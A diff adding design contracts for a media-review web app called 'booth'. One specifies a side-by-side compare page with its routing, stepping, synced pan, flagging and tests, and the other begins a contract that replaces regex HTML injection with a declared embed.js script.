- "app.py: `resolve_booth`, `record_view`, `record_seen` (never raises), `marks_for` / `flagged_targets`, `_mark_redirect` (the JS-off landing, gains `back=compare`), `_mark_done` (the 204 path, unchanged)."
|
||||
- "view.html (R2 C6 + r2c): the review this is entered from; its stage script (Fit/1:1 as `stage-one` on <html>, drag-pan) is the machinery this unit shares."
|
||||
- "base.html: the head script that sets `stage-one` from `localStorage['booth.fit']` before any stage exists; the in-place client (`form[data-inplace]` -> 204 -> swap every `data-region`, then `booth:swapped`); Reveal all."
|
||||
language: "python (one route, one redirect branch) + jinja + css + javascript"
|
||||
complexity: "medium"
|
||||
estimated_loc: 420
|
||||
confidence: 0.75
|
||||
touches:
|
||||
- "booth/app.py (the compare route; `_mark_redirect` gains `back=compare`)"
|
||||
- "booth/templates/compare.html (new)"
|
||||
- "booth/templates/_stage_js.html (new: the stage machinery, moved out of view.html and shared)"
|
||||
- "booth/templates/view.html (includes _stage_js.html; gains the Compare entry and its C key)"
|
||||
- "booth/templates/base.html (compare layout CSS)"
|
||||
- "tests/test_compare.py, tests/test_compare_browser.py (new); tests/mutations/r3.toml (new)"
|
||||
assumptions:
|
||||
- "ONE VIEWER, as in R2: the linked toggle and the active side are per page load; the stage mode stays the r2c per-browser preference."
|
||||
- "No new storage and no new mark shape (the operator's ruling): the verdict is the existing flag, through the existing in-place POST."
|
||||
- "A pair is two items of the same booth's review ring. Comparing across booths is not this unit."
|
||||
---
|
||||
|
||||
# R3 — compare
|
||||
|
||||
## C1 — the route and the pair
|
||||
|
||||
- **`GET /b/{name}/compare?a=<rel>&b=<rel>`.** Both are booth-relative paths,
|
||||
exactly as `view?f=<rel>` takes one (U1 identity). **Never ordinals**: an
|
||||
ordinal is a position in the set as it is now (r2_flow, row 4). A file added
|
||||
mid-bakeoff shifts every later ordinal, so a bookmarked compare would open two
|
||||
different pictures and nothing would look wrong (booth-dev's seam note). The
|
||||
page PRINTS both ordinals.
|
||||
- **The rule for each side is a CONJUNCTION** (booth-dev's seam pass, S2). The
|
||||
review's rule alone is not enough, and neither is ring membership alone:
|
||||
1. the view route's resolve / containment / `is_file` check passes. That is
|
||||
what 404s a symlink pointing outside the booth, which `booth_items` DOES
|
||||
list, because it follows symlinks;
|
||||
2. AND the rel is in `review_chain(items)`. The review does not 404 a doc
|
||||
item (it renders it); compare does.
|
||||
Anything else is a **404**, never a 500: an embedded NUL raises ValueError
|
||||
and is a 404.
|
||||
- **A missing or empty param is a 404, not FastAPI's 422.** The review
|
||||
declares `f: str` and so answers 422 when `f` is absent. Compare declares
|
||||
`a: str = ""` and `b: str = ""`, 404s an empty one, and checks each with the
|
||||
same `isinstance(str)` that `_mark_redirect`'s `back=view` branch gives `f`
|
||||
(the view route itself declares `f: str` and checks nothing more).
|
||||
- **Route order:** the compare route is registered BEFORE the catch-all
|
||||
`/b/{name}/{filepath:path}`, as view is. Accepted, and written down: a booth
|
||||
FILE literally named `compare` is unreachable at `/b/<name>/compare`. This
|
||||
is the same shadowing view, marks, asks and embed.json already cause.
|
||||
- `a == b` is allowed. It is pointless but harmless: the same picture twice.
|
||||
- **A look records both.** `record_view(booth)` once, and `record_seen` for `a`
|
||||
and then for `b`, below the 404s and gated on the records, as the view route
|
||||
gates it. Both calls never raise.
|
||||
- **The compare ring** is the review ring filtered by that same conjunction:
|
||||
item order, media only, less anything compare would 404 (an outside symlink
|
||||
stays in the review ring). EVERY compare link is built from it: the strip,
|
||||
the steps, the review's Compare control and the `back=compare` landing. So
|
||||
no navigation offers a pair that 404s, and a step walks over such an item.
|
||||
- **Each rel is judged ONCE per request** (booth-dev, after the merge). The
|
||||
route builds the compare ring once and judges both sides by membership of
|
||||
it. Resolving a rel twice lets a file that vanishes between the two reach a
|
||||
lookup that raises, a 500. The review re-judges its own item first and scans
|
||||
forward for the next comparable one; when its item is no longer comparable,
|
||||
the review renders WITHOUT a Compare control (and `C` does nothing), never a
|
||||
500.
|
||||
- The response carries, per side: the rel, its quoted url, ordinal, kind,
|
||||
caption, blurred, flagged and thumb. It also carries the compare ring as a
|
||||
filmstrip in RING ORDER (the view route's `film`, one line in the route's docstring),
|
||||
the linked and per-side step targets (C3), the back link (the review of `a`,
|
||||
which is also where `Esc` goes), and `ord_width`.
|
||||
|
||||
## C2 — picking the two
|
||||
|
||||
- **From the review:** a `Compare` control in the review's top bar, and the key
|
||||
`C`, open `compare?a=<this item>&b=<the next item in the ring>`. With a ring
|
||||
of one item, `b` is the item itself.
|
||||
- **On the compare page, the filmstrip is the picker.**
|
||||
- Each frame is marked `A`, `B`, or nothing (both marks when `a == b`).
|
||||
- With JS, a click on a frame sets the ACTIVE side to that item and stays on
|
||||
the compare page. The active side defaults to B.
|
||||
- The active side wears the SVOS reticle (the one selection device). A press
|
||||
on either stage (pointerdown, so starting a 1:1 pan there also makes it
|
||||
active), or the key `X`, makes that side (or the other) active.
|
||||
- **The active side lives on a NON-region element**, the side's wrapper
|
||||
around its stage, and in the URL's `side` (C2), rewritten in place when it
|
||||
changes. An in-place save swaps regions (strip, labels, flags), and
|
||||
the in-place client carries only `revealed` and `is-closed` across a swap,
|
||||
so state kept on a region would be dropped. The strip's markers for the
|
||||
ACTIVE side are re-applied on `booth:swapped`. Strip clicks are delegated at
|
||||
the document, because the frames are replaced.
|
||||
- Without JS, every frame is a link that sets the active side from the URL
|
||||
(B by default): `compare?a=<a>&b=<frame>`.
|
||||
- **The view state rides in the URL too**, because every pick and step is a
|
||||
navigation, and state kept only in the page would reset on each one:
|
||||
- `side=a` makes A the active side (absent means B);
|
||||
- `link=0` unlinks the stepping (absent means linked).
|
||||
These are view state, not identity: an unknown value reads as the default,
|
||||
never as an error, and every server-built link carries the current values
|
||||
forward. The PAIR is still only the two rels. The route declares
|
||||
`side: str = ""` and `link: str = ""`, NOT an int or a Literal, which would
|
||||
bring S1's 422 back for `link=maybe`.
|
||||
- **Why B is the default active side:** A is where you came from, the anchor.
|
||||
B is what you are weighing it against, so a strip pick changes the
|
||||
comparison and not the anchor. `X` or a click on A makes A active.
|
||||
- The picked pair is ALWAYS in the URL. Every pick and every step is a
|
||||
navigation (a FULL page load) to a compare URL. The linked state and the
|
||||
active side survive it only because they ride the URL too (above); nothing
|
||||
else about the page is carried across a step, so the back button walks back through the pairs,
|
||||
and a reload shows the same pair.
|
||||
|
||||
## C3 — stepping
|
||||
|
||||
- **Linked (the default):** `←` and `→` move BOTH sides one place along the
|
||||
ring, keeping their distance: `(ia ± 1, ib ± 1)`, each modulo the ring
|
||||
length (the review's wrap). This walks a bakeoff's parallel runs: `#09 · #25`,
|
||||
then `#10 · #26`.
|
||||
- **Unlinked:** `←` and `→` move only the ACTIVE side.
|
||||
- The `Linked` toggle sits in the top bar, with the key `L`. Its state is the
|
||||
URL's `link` (C2): toggling it rewrites the current URL in place
|
||||
(`history.replaceState`) and the step links, so the next step keeps it. A
|
||||
fresh compare from the review starts linked. It is not stored anywhere
|
||||
else: a remembered unlinked state would surprise the next compare.
|
||||
- `Space` and `Shift+Space` act as `→` and `←`, with the review's guard: never
|
||||
from a focused control, and never while a player on either stage has focus.
|
||||
- **Every key on this page** (`←` `→` `Space` `A` `B` `X` `L` `Z` `C` `Esc`) is
|
||||
ignored while focus is in something editable, and whenever a modifier
|
||||
(Ctrl, Meta, Alt) is held: the review's `isEditable` rule, applied to all of
|
||||
them, not only to Space.
|
||||
- `C` and `Esc` both return to the review of A. `C` is the view toggle: `C` in
|
||||
the review opens compare with that item as A, and `C` again goes back to it.
|
||||
- Without JS, the page renders plain links for "both back", "both forward",
|
||||
and each side's back and forward, with server-computed targets.
|
||||
|
||||
## C4 — the stages
|
||||
|
||||
- **Two stages side by side** when the viewport is wider than 900px. Each is
|
||||
half the body and labelled `A #09 <name>` / `B #25 <name>`. At 900px and
|
||||
below they STACK, A above B, each at most 45vh tall. The stack break is the
|
||||
review's.
|
||||
- **The two stages are always the same size.** The sides share one set of rows
|
||||
(subgrid), so a caption under one side takes its height from both stages,
|
||||
never from that side's alone, and the separator between them is a column
|
||||
gap, never a border that comes out of one side's width. Two stages of
|
||||
different sizes would draw the same picture at two scales in Fit.
|
||||
- **At phone width (600px and below) a top bar that cannot hold its controls
|
||||
WRAPS** instead of scrolling the page sideways or crushing a control. The
|
||||
rule is on `.vbar`, so it applies to every bar of that class: compare's, the
|
||||
review's (which gains the Compare control, only its glyph below 600px), and
|
||||
doc.html's. The review's bar was already full: a fogged booth
|
||||
overflowed it by 3px at 390px before r3.
|
||||
- **Each stage is the r2c stage:** Fit fills (up or down, contain, never
|
||||
cropped), or 1:1 at natural pixels with every pixel reachable. Drag pans a
|
||||
1:1 picture that overflows. The picture cannot be dragged away. Video and
|
||||
audio play in their own stage.
|
||||
- **One mode for both:** the SAME `stage-one` class on `<html>` and the same
|
||||
`localStorage['booth.fit']`. Choosing 1:1 on the compare page is choosing it
|
||||
for the review, and back, because the mode is a per-browser preference
|
||||
(r2c S2). The `Fit | 1:1` toggle is in the top bar. The key `Z` switches
|
||||
it ON THE COMPARE PAGE ONLY, bound by compare.html and not by the shared
|
||||
include, so the review gains no key beyond `C` (INV-6). Provenance: r2c's
|
||||
out-of-scope lists "a key for the mode toggle" as its own line, not parked
|
||||
into r3. Compare takes it because comparing detail means switching modes
|
||||
often.
|
||||
- **Synced pan (parked into r3 by r2c): in 1:1, panning either stage pans the
|
||||
other to the SAME FRACTION of its scrollable range**, on each axis
|
||||
independently.
|
||||
- For two pictures of the same size, that is the same crop: the same pixels
|
||||
under the same point.
|
||||
- A side with nothing to scroll on an axis ignores that axis.
|
||||
- A scroll caused by the sync never re-triggers a sync, so there is no loop
|
||||
and no drift.
|
||||
- Scrollbars and wheel/trackpad scrolling sync the same way as drags, because
|
||||
the sync listens to `scroll`, not only to drags.
|
||||
- **One copy of the machinery, behind a stated interface** (S7: today's script
|
||||
is single-instance and ID-keyed, and `settle` is `place` + `pannable`). The
|
||||
include `_stage_js.html` defines two things and binds nothing by itself:
|
||||
- **`BoothMode.bind({toggle, fit, one, onChange})`: page level.** It owns the
|
||||
`stage-one` class, `setMode`, the pressed state, the storage writes and the
|
||||
cross-tab `storage` listener. It never raises. A page binds it ONLY when at
|
||||
least one of its stages is an image, which is the review's rule today; two
|
||||
videos get no toggle.
|
||||
- **`BoothStage.attach(stageEl, {img, onSettle})`: once per stage.** It owns
|
||||
`pannable()`, drag-to-pan (the 4px threshold, capture, scrollbar exclusion,
|
||||
`dragstart` prevention) and the stage's `can-pan` / `is-grabbing` classes.
|
||||
It calls `onSettle()` after its own settle, and it returns
|
||||
`{settle, pannable}`.
|
||||
- **view.html:** attaches its one stage with `onSettle = place`, so the
|
||||
arrows stay view's own code. It binds `BoothMode` exactly as today, and
|
||||
keeps EVERY id it has (`vstage`, `vimg`, `vtoggle`, `btn-fit`, `btn-one`,
|
||||
`vreveal`, `vmedia`, `vflag-btn`), because test_flow_browser queries them.
|
||||
Its reveal, keys, `centreFilm` and ResizeObserver stay in view.html. It
|
||||
has no floating arrows to add.
|
||||
- **compare.html:** attaches both stages and binds `BoothMode` once, with an
|
||||
`onChange` that settles both. Its per-side reveal buttons are its own code.
|
||||
It owns its OWN `ResizeObserver` over both stages, calling each stage's
|
||||
`settle`, because `pannable` changes on resize. `BoothStage.attach` does
|
||||
NOT own a ResizeObserver, so view.html's observer, and its mutation row,
|
||||
stay where they are.
|
||||
|
||||
## C5 — judging
|
||||
|
||||
- **Each side has its own flag control**, the existing flag form (`POST
|
||||
/b/{name}/flag`, `data-inplace`, 204 with JS). The verdict is "flag the
|
||||
winner", and flagging both is allowed. **What a flag records, stated plainly
|
||||
because it is the ruled trade-off:** a flag says "this one is good". Both
|
||||
flagged means both are good. Neither flagged means no call, OR a tie, and
|
||||
the flags cannot tell those apart. That is exactly why the A/same/B record
|
||||
was parked, not an oversight. Flagging the loser is the operator's
|
||||
prerogative; the page does not police it.
|
||||
- Keys: `A` toggles A's flag and `B` toggles B's. No `F` on this page,
|
||||
because which side it meant would be a guess. Each key LOOKS UP ITS BUTTON
|
||||
AGAIN at press time, because a save may have replaced it (the review's
|
||||
`vflag-btn` rule).
|
||||
- The flag controls, the filmstrip and each side's label are `data-region`s,
|
||||
so an in-place save refreshes them. The stages are never regions,
|
||||
because swapping one would restart a playing track (the review's rule).
|
||||
- **Region ids are unique on the page and keyed by SIDE** (S4): `flag-a`,
|
||||
`flag-b`, `label-a`, `label-b`, `film`. The swap keeps only the FIRST fresh
|
||||
node for each id and copies it over EVERY live node with that id. A shared
|
||||
`flag` id would therefore turn B's control into A's after any save, so
|
||||
that pressing B flagged A, and nothing would show it. The ids are NOT
|
||||
keyed by rel, which `a == b` would duplicate, and NOT prefixed `item-`,
|
||||
which the swap reads as a stale tile.
|
||||
- **Without JS, a flag lands back on the same compare page:** the form carries
|
||||
`back=compare`, `a`, `b`, `side` and `link`, and `_mark_redirect` builds
|
||||
`/b/<name>/compare?a=<quote(a, safe="/")>&b=<quote(b, safe="/")>` from them,
|
||||
appending `&side=a` ONLY when the form's value is exactly `a` and `&link=0`
|
||||
ONLY when it is exactly `0`, in that order. The view state is mapped from
|
||||
that closed set and never echoed. The URL has NO fragment (the flags sit beside the stages, so there is nothing to
|
||||
scroll to). It does that ONLY when both are strings in the ring, quoting each
|
||||
as the view branch does. It is built from the checked rels and
|
||||
never echoed from the form. Anything else takes the no-`back` landing. Every
|
||||
other `back` value is byte-identical to today (R2 INV-4).
|
||||
- Notes and the booth's open questions stay on the review. Compare carries only
|
||||
the flag, plus a `review A` / `review B` link on each side to the item's full
|
||||
review.
|
||||
|
||||
## C6 — blur and captions
|
||||
|
||||
- **Blur honesty per side:** a blurred item renders blurred, with its own
|
||||
reveal button over its stage (the review's pattern: JS-only, `hidden` until
|
||||
bound, never inside the scrolled content). Reveal all reveals both.
|
||||
- The blur CSS is scoped to `.review` (base.html: `.review .vstage.is-blurred
|
||||
img`, the `.revealed` and `is-img` rules, and Reveal all's `.reveal-all
|
||||
.review .vstage.is-blurred …`). The compare root is therefore
|
||||
`class="viewer review compare"`, and `.compare` overrides the review's
|
||||
4-row grid and the 360px rail column. The blur rules are not re-scoped:
|
||||
they and their r2b mutation rows stay as they are.
|
||||
- Each stage carries `vstage` and `is-img` (for a picture) and
|
||||
`is-blurred`, exactly as the review's does, so the 1:1 and blur rules
|
||||
apply unchanged.
|
||||
- Reveal all hides the review's stage reveal by ID
|
||||
(`.reveal-all #vreveal`). Compare's per-side reveals use a class,
|
||||
`cmp-reveal`, and base.html gains `.reveal-all .cmp-reveal{display:none}`.
|
||||
- compare.html carries `{% block html_attrs %} data-booth="{{ name }}"`,
|
||||
because without it Reveal all's script and the head script's reveal
|
||||
restore both bail (S6, r2b's mutation row for the review).
|
||||
- **Each side's caption** shows under its stage in `.cmp-cap`: the review's
|
||||
`.vcap` type (size, leading, colour, pre-wrap), clamped to 20vh rather than
|
||||
the review's 30vh, with its own scroll. Two sides share the height.
|
||||
|
||||
## Invariants
|
||||
|
||||
- **INV-1 — rel identity.** The pair is two rels, in the URL, always. Nothing
|
||||
about the pair is stored, and no ordinal ever addresses an item.
|
||||
- **INV-2 — ring only.** Both sides are media in the review ring that pass the
|
||||
view route's containment. Every server-computed link (the steps, the
|
||||
filmstrip, the review's Compare control, the flag landing) stays inside the
|
||||
compare ring (C1).
|
||||
- **INV-3 — no new storage and no new mark.** The judgment is the existing flag,
|
||||
through the existing route and the existing in-place path.
|
||||
- **INV-4 — JS-off parity.** Without JS (and so without the head script that
|
||||
would apply a stored 1:1, which is itself a script): two Fit stages. Both
|
||||
sides' flag forms are present, so choosing which side to flag needs no
|
||||
picker; per-side and linked step
|
||||
links; filmstrip links that replace the URL's active side (B by default,
|
||||
C2); flag forms that land back on the same pair.
|
||||
Nothing judgment-bearing hides behind a script.
|
||||
- **INV-5 — one record of the stage mode**, shared with the review:
|
||||
`stage-one` on `<html>`. Storage never raises.
|
||||
- **INV-6 — the review is unchanged in behaviour.** It gains a Compare control and
|
||||
a `C` key. The stage refactor changes no r2c assertion.
|
||||
|
||||
## TESTS
|
||||
|
||||
Server (`tests/test_compare.py`):
|
||||
- `compare_renders_the_pair` [tracer]: a booth of four images; `compare?a=<#1>&b=<#3>` → 200; both names and both ordinals are printed; the filmstrip marks #1 A and #3 B.
|
||||
- `a_bad_side_is_a_404`: a missing `a` or `b`, `..` traversal, a NUL, a dotfile, a doc item, a non-item file → 404 each, never 500.
|
||||
- `a_look_records_both_seen`: after a compare GET, `.seen` holds both rels; a 404 records nothing.
|
||||
- `linked_steps_keep_the_distance_and_wrap`: THE FIXTURE PUTS A DOC BETWEEN THE MEDIA (`03-notes.md`), so an ordinal is not a ring position. In a ring of 6 media with a at ring position 2 and b at ring position 5, "both forward" targets ring positions (3, 6), then (4, 1), wrapped; "both back" from (1, 4) targets (6, 3). The assertions name rels, never ordinals.
|
||||
- `the_urls_are_keyed_by_rel`: every step and filmstrip link carries `a=`/`b=` rels, url-quoted; no link carries an ordinal parameter.
|
||||
- `a_flag_without_js_lands_on_the_same_pair`: `POST /flag` with `back=compare&a=..&b=..` → 303 to exactly `/b/<name>/compare?a=..&b=..`; with `side=a&link=0` added → exactly `…&side=a&link=0`; with `side=A` or `link=00` → neither appended; with a rel not in the ring → the no-back landing; `Accept: application/json` → 204, unchanged.
|
||||
- `every_other_landing_is_byte_identical`: the existing `back=view` / `back=marks` / no-back redirects are unchanged (R2 INV-4).
|
||||
- `the_review_offers_compare_with_the_next_item`: with the doc fixture, the review of a media item links `compare?a=<it>&b=<the next media item in the ring>`, skipping the doc; the last media item links to the first.
|
||||
- `view_state_rides_the_links`: with `side=a&link=0`, every step and strip link carries both; an unknown `side=z` or `link=maybe` renders as B-active and linked, never an error.
|
||||
- `no_data_region_repeats`: on a compare page, including `a == b`, every `data-region` value is unique, and the side regions are `flag-a`, `flag-b`, `label-a` and `label-b`.
|
||||
- `a_missing_param_is_404_not_422`: `compare?a=<x>` without `b` → 404.
|
||||
- `an_outside_symlink_in_the_ring_is_404`: a booth symlink pointing outside the booth is in review_chain, and compare with it as either side → 404.
|
||||
- `compare_carries_data_booth`: the page's `<html>` carries `data-booth`.
|
||||
|
||||
Browser (`tests/test_compare_browser.py`):
|
||||
- `two_stages_side_by_side_wide_and_stacked_narrow` [tracer]: at 1440 both stages sit in one row; at 390 A sits above B and each is at most 45vh.
|
||||
- `one_mode_for_both_and_for_the_review`: `Z` switches both stages to 1:1; `localStorage['booth.fit']` is `one`; the review then opens in 1:1.
|
||||
- `synced_pan_lands_on_the_same_crop`: two equal-size pictures larger than the stage in 1:1. A drag on A of (+80, +60) scrolls both by (−80, −60). A scrollbar or wheel scroll on B moves A to the same fraction. Neither stage drifts after a second of idle.
|
||||
- `synced_pan_by_fraction_for_different_sizes`: a 2000px and a 3000px picture, one scrolled to its middle, puts the other at its middle; and one scrolled to 25% of its range puts the other at 25% of ITS range (not at the same pixel offset). This is the test that sees a fraction bug; the equal-size test above cannot, because equal overflow makes offsets and fractions coincide.
|
||||
- `a_flags_A_in_place_and_the_stages_survive`: press `A` → A's flag shows flagged with no navigation; the stage elements are the same nodes (a stage was not swapped).
|
||||
- `linked_arrow_walks_a_bakeoff`: in a booth shaped like sindra-bakeoff (lanes m and r, 4 pairs), open m#1 vs r#1 and press `→` three times: each pair shares its scene and seed suffix.
|
||||
- `unlinked_moves_only_the_active_side_and_the_strip_picks_it`: `L`, then `→`, moves only B, and a SECOND `→` still moves only B (the unlinked state survived the navigation); a click on a strip frame sets the active side's item; `X` swaps the active side and the reticle follows it, and survives the next step.
|
||||
- `blur_is_honest_on_both_sides`: a blurred B's image has a COMPUTED filter containing `blur(`, not just a class. Its own reveal clears it. Reveal all clears both, and hides both `cmp-reveal` buttons.
|
||||
- `a_save_keeps_the_active_side`: make A active, flag B in place → A is still active (reticle, strip marker), and a strip click after the swap still sets A.
|
||||
- `without_js_every_judgment_and_step_still_works`: JS off — the pair renders, the step and strip links navigate, and a flag lands back on the same pair.
|
||||
- `the_review_still_behaves_exactly_as_r2c_says`: the r2c browser suite passes unchanged against the refactored view.html. This is a gate, not a new test.
|
||||
|
||||
## Assertions that change (declared before the code)
|
||||
|
||||
| test | today | after | why |
|
||||
|---|---|---|---|
|
||||
| no behavioural assertion | — | — | view.html's behaviour is unchanged (INV-6). The only additions are the Compare control and the `C` key, which no current test pins. |
|
||||
| tests/mutations/r2c.toml: 21 rows anchor in view.html's script; the 15 on the toggle, the storage listener and drag-pan | `file = view.html`, anchors in the inline script | `file = _stage_js.html`, anchors re-pointed to the parameterised code (e.g. `stage.scrollLeft` becomes the attached stage's name) | the code moved (C4); every re-pointed row must still FALSIFY |
|
||||
| tests/mutations/r2c.toml: the other 6 of those 21, the arrow placement, including the resize row ("S3 the arrows do not follow a resize") | view.html | unchanged: `place()` and view's ResizeObserver stay in view.html (C4) | — |
|
||||
| tests/mutations/r2b.toml, the row on Space from a focused button | view.html's keydown | unchanged: the keydown handler stays in view.html | — |
|
||||
| tests/mutations/r2b.toml, "the top-bar controls squeeze into multi-line stacks at phone width" (declared during the build) | removes the no-wrap rules | removes the no-wrap rules AND the phone-width wrap | a wrapping bar never squeezes, so removing the no-wrap rules alone went vacuous; r3.toml rows the wrap on its own |
|
||||
| new: tests/mutations/r3.toml | — | rows for: the side-keyed region ids, the conjunction 404, `back=compare`'s ring check, the linked distance, the synced-pan loop guard, the `data-booth` attribute, the `cmp-reveal` Reveal-all rule | the r3 falsifiers |
|
||||
|
||||
**The gate for the refactor is the TABLE, not only the suite:**
|
||||
`scripts/mutation_check.py tests/mutations/r2c.toml` (and r2b.toml) with every
|
||||
row falsifying after the move. A green r2c browser suite proves the behaviour
|
||||
survived. The table proves the tests still bind to the code that moved
|
||||
(booth-dev, S8).
|
||||
|
||||
## Out of scope
|
||||
|
||||
- Detecting pairs from filenames (ruled out: 1 of 26 live booths pairs by a name rule, and none of sindra-h2h does).
|
||||
- An A-better / same / B-better record (ruled: parked). If it is ever ruled in, it is a new mark keyed by an ORDERED pair of rels, in booth-dev's storage, with the JSON sessions read stated (booth-dev's note).
|
||||
- A zoom between Fit and 1:1, wheel zoom, and pinch (parked into r3 by r2c; parked again here: compare works at Fit and 1:1, and a third level is its own unit if the operator asks for it).
|
||||
- Three or more panes, onion-skin or swipe overlays, and a difference view.
|
||||
- Synced playback of two videos or two tracks (each stage plays on its own).
|
||||
- A grid multi-select to start a compare from the lightbox (the review's `C` and the picker strip cover picking).
|
||||
- Comparing across booths.
|
||||
@@ -0,0 +1,471 @@
|
||||
---
|
||||
contract_version: "1.0"
|
||||
module: "booth.app (verbatim serving) + booth/static/embed.js"
|
||||
purpose: "A booth that ships its own index.html is the operator's most important surface -- his design reviews, his audition reports, his briefs -- and the Booth reaches into it with six regular expressions against arbitrary author HTML plus a placeholder DSL that substitutes rendered markup by pattern. Both work today and both are the single most fragile thing in the service. This unit replaces the whole class with a DECLARED SEAM: the page carries one line (`<script src=\"/_booth/embed.js\" defer></script>`), the Booth mounts its chrome through real DOM APIs, and a page that declares the line is served with ZERO Booth markup added to it. A page that does not declare it gets that one line appended at the end -- the only remaining mutation, and it needs no pattern matching at all. Operator ruling, 2026-09-21: the page declares itself, the Booth mounts into it."
|
||||
depends_on:
|
||||
- "booth.marks (marks_for, open_marks, hold_read -- the pick records the payload renders. UNCHANGED by this unit: U3 changes how fragments REACH the page, never what a mark is. Read against booth/marks.py, not against the U2 contract's prose -- see the seam review.)"
|
||||
- "booth/templates/_ask_inline.html (the `whole` / `question` / `submit` macros stay the ONE renderer of an ask fragment, called from the embed payload instead of from inject_asks. Its `styles()` macro is DELETED -- inject_asks was its only caller and the CSS moves into embed.js so the chrome is one asset. Macro signatures are otherwise untouched.)"
|
||||
- "booth.asks.normalize_ask (TRANSITIVE, through `marks._hydrate`, and named because the payload shape depends on it: a MULTI ask normalizes to questions whose `key` matches `^[A-Za-z0-9][A-Za-z0-9._-]{0,60}$`, and a SINGLE-question ask normalizes to exactly one question whose `key` is `None`. Both facts are load-bearing -- the first makes splitting an anchor spec on the first colon unambiguous, the second is why `questions` is a list. Read against booth/asks.py:138-223.)"
|
||||
- "booth.app.FAVICON_HREF (the data-URI icon, carried in the payload rather than copied into embed.js -- a third copy of that string is exactly the multiple-readers-of-one-truth shape the repo's ONE-RESOLVER rule (CLAUDE.md invariant 3 -- NOT this contract's INV-1, which is the untouched-page rule; a cold arm read the two as one label and was right to) exists to stop. base.html's literal copy predates this unit and is out of scope.)"
|
||||
language: "python + javascript"
|
||||
complexity: "medium"
|
||||
estimated_loc: 420
|
||||
confidence: 0.82
|
||||
used_by:
|
||||
- "booth.app.booth_view (the verbatim branch: one read, one substring check, one conditional append -- replacing inject_asks + wrap_verbatim_html entirely)"
|
||||
- "the operator's verbatim reports (4 of 21 live booths ship their own index.html; 2 of those 4 use the placement DSL, so the migration is not hypothetical)"
|
||||
- "report authors (the declared line is the new public API for a booth that wants Booth chrome where it chooses)"
|
||||
touches:
|
||||
- "booth/static/embed.js (NEW -- the mount script and the chrome CSS, one asset. Read ONCE at app startup, never per request; see INV-5.)"
|
||||
- "booth/app.py (DELETE wrap_verbatim_html, _insert_before, _insert_after, _ICON_RE, _HEAD_CLOSE_RE, _HTML_OPEN_RE, _DOCTYPE_RE, _BODY_CLOSE_RE, _HTML_CLOSE_RE, _BACK_CHIP, asks_chip, inject_asks, FAVICON_LINK and the `from booth.inline import` block. ADD EMBED_SRC/EMBED_SCRIPT_TAG, the startup read of embed.js, GET /_booth/embed.js, GET /b/{name}/embed.json, and the rewritten verbatim branch of booth_view.)"
|
||||
- "booth/inline.py (DELETED ENTIRELY -- 119 lines. Nothing else imports it; `scripts/booth` never did, so the stdlib-only CLI surface is untouched. ONE line survives the module: `form_id`, which builds the shared form element id the fragments bind to, moves into booth/app.py beside the route that renders them. It is not placement machinery and dying with the placement engine would take the fragments with it. Seam review, SR-3.)"
|
||||
- "booth/templates/_ask_inline.html (DELETE the `styles()` macro and rewrite the header comment: the fragments are now mounted by embed.js, not substituted by regex, and `No JavaScript` stops being true.)"
|
||||
- "tests/test_booth.py (DELETE the five test_wrap_* tests and test_verbatim_booth_wrapped_with_back_chip -- they test a mechanism this unit removes; the FAVICON_LINK import goes with them)"
|
||||
- "tests/test_asks.py (the inline-placement block, ~L480-590: assertions that server-rendered fragments appear in the page body become assertions about the embed payload. The BEHAVIOUR they encode -- every question reachable, a scattered form still submittable, a typo'd id left alone -- is preserved and re-asserted, half in Python and half in the browser.)"
|
||||
- "tests/test_embed.py (NEW -- the payload, the injection rule, the no-hot-reload guard)"
|
||||
- "tests/test_embed_browser.py (NEW -- Playwright against a real Chromium: the placement algorithm and the form association, neither of which the Python suite can see. SKIPS, never fails, when playwright or the shared browser is unavailable.)"
|
||||
- "pyproject.toml (test extra gains `playwright>=1.60,<1.63` -- the range is the set of releases whose pinned Chromium revision is present in the box-wide /opt/ms-playwright store. Stated explicitly because it is invisible otherwise: 1.63 wants chromium-1243, which is NOT there, and the failure is an opaque `Executable doesn't exist`.)"
|
||||
- "docs/design/information-architecture.md (the `What this deletes` list becomes what this DID delete; the standalone /asks bullet is corrected -- U2 already reduced it to a 308)"
|
||||
- "ROADMAP.md (U3 row struck through; the ordering table gains the two orders this unit states)"
|
||||
assumptions:
|
||||
- "THE OPERATOR ALREADY RULED ON THE SEAM (2026-09-21, recorded in the IA doc): the page declares itself and the Booth mounts into it, via `<script src=\"/_booth/embed.js\" defer></script>`. That ruling ACCEPTS a JavaScript dependency on the verbatim path, which today has none. This contract does not re-open it. What the contract DOES do is state the consequence plainly so it is not discovered later -- see the degradation assumption below."
|
||||
- "THE ONLY REMAINING SERVER-SIDE MUTATION IS A CONDITIONAL APPEND, AND IT NEEDS NO PATTERN AT ALL. Two substring tests (`src=\"/_booth/embed.js\"` and its single-quoted twin), then a concatenation. ⚠ THE BARE PATH WAS THE FIRST DRAFT AND IT FAILED IN THE DANGEROUS DIRECTION: a report that merely MENTIONS the path -- a code sample, a comment, a sentence about this feature, which the Booth's own design reports are the likeliest pages to contain -- would have counted as declaring it, been served untouched, and shown no chrome at all, silently. Requiring `src=` immediately before the path flips the failure direction: an unusual spelling (`src = \"...\"`, an unquoted attribute, a `?v=2` suffix) reads as NOT declared, so a second tag is appended and embed.js mounts once anyway on its `window.__boothEmbed` guard. A missed declaration costs a duplicate tag; a false one costs the operator his chrome. Three of four cold-panel arms found this independently. This is why all six regexes die rather than collapsing to one: content appended AFTER `</html>` is parsed into the body by every browser, so there is nothing to find. Nothing is ever PREPENDED, which is what retires both of wrap_verbatim_html's hard constraints in one stroke -- no doctype can be displaced into quirks mode and no charset meta can be pushed out of the first 1024 bytes, because nothing moves."
|
||||
- "THE FAVICON MOVES FROM A REGEX TO A DOM QUERY. `_ICON_RE` existed to answer `does this page already declare an icon`, against raw text, and three more regexes existed to find a head-ish seam to put one in. embed.js asks `document.querySelector('link[rel~=\"icon\"]')` and appends to `document.head`. That is the same question and the same action, asked of a parsed document instead of a string -- and it is four of the six regexes."
|
||||
- "FRAGMENTS ARE STILL RENDERED BY JINJA, ONLY PLACED BY JAVASCRIPT. The payload carries server-rendered HTML from the EXISTING `_ask_inline.html` macros. Re-implementing the ask form in JavaScript would make two renderers of one truth, which is precisely the shape the repo's ONE-RESOLVER rule (CLAUDE.md invariant 3) was written to stop after the zoom view lost its captions. embed.js does DOM placement and nothing else: it never decides what a mark says, whether it is open, or what order marks come in."
|
||||
